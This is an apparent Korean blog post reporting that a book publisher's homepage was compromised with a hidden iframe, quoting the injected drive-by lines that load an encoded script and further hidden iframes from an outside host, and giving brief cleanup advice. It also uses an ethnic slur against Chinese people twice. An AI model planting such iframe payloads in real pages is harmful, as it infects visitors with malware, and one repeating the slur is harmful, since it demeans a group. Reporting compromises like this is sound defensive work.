정보문화사 홈페이지 메인(/default.asp)에 악성 코드가 삽입됨.

26일 14시 반쯤 담당 웹마스터에게서 수정했다는 메일을 받았습니다.

침투경로는.. 글쎄요 저도 잘 모르겠네요. 혹시 패치되지 않은 웹서버에서 웹 서핑을 하는 바람에 스파이웨어가 심어졌다거나 하지는 않았을테고.. 우선 시스템 전체에 f-prot 또는 루트킷 검색기능이 있는 백신으로 검사를 해보시고, 그다음에는 SQL Injection이 가능한 부분은 혹시 없는지 검사를 해보시는 것 밖에는..

www.infopub.co.kr 들어갔다가 갑자기 웬 MS HTML Help Control을 사용하려고 한다는 경고가 나와서 소스를 체크해보니 역시나, 어느 짱깨가 중국발 악성코드를 한줄 넣어놨습니다.

<iframe src=http://bb.xiongdiniubi.com width=0 height=0></iframe>

저 페이지를 가보면 IIS의 404 오류(페이지를 찾을 수 없음)처럼 보이는 페이지가 뜨는데, 소스를 보면 그렇지 않음.

페이지의 마지막줄 두 줄에

<SCRIPT language="Jscript.encode" src=bbbb.txt></script>
<iframe src=http://bb.xiongdiniubi.com/403.htm width=0 height=0></iframe> 

다음과 같은 코드가 있어서 아마도 보안 헛점을 이용한 악성코드 (or Backdoor) 다운로드 후 실행시키는 것으로 짐작이 됩니다.

웹마스터 메일 주소에도 메일을 보냈습니다. 짱깨가 극성이네혐.. 전에는 조선닷컴 블로그도 저러더니.

ps. MS HTML Help Control, ADODB.Stream 컨트롤 두개는 알려진 보안 문제가 있어서 보안 패치가 모두 나와 있음.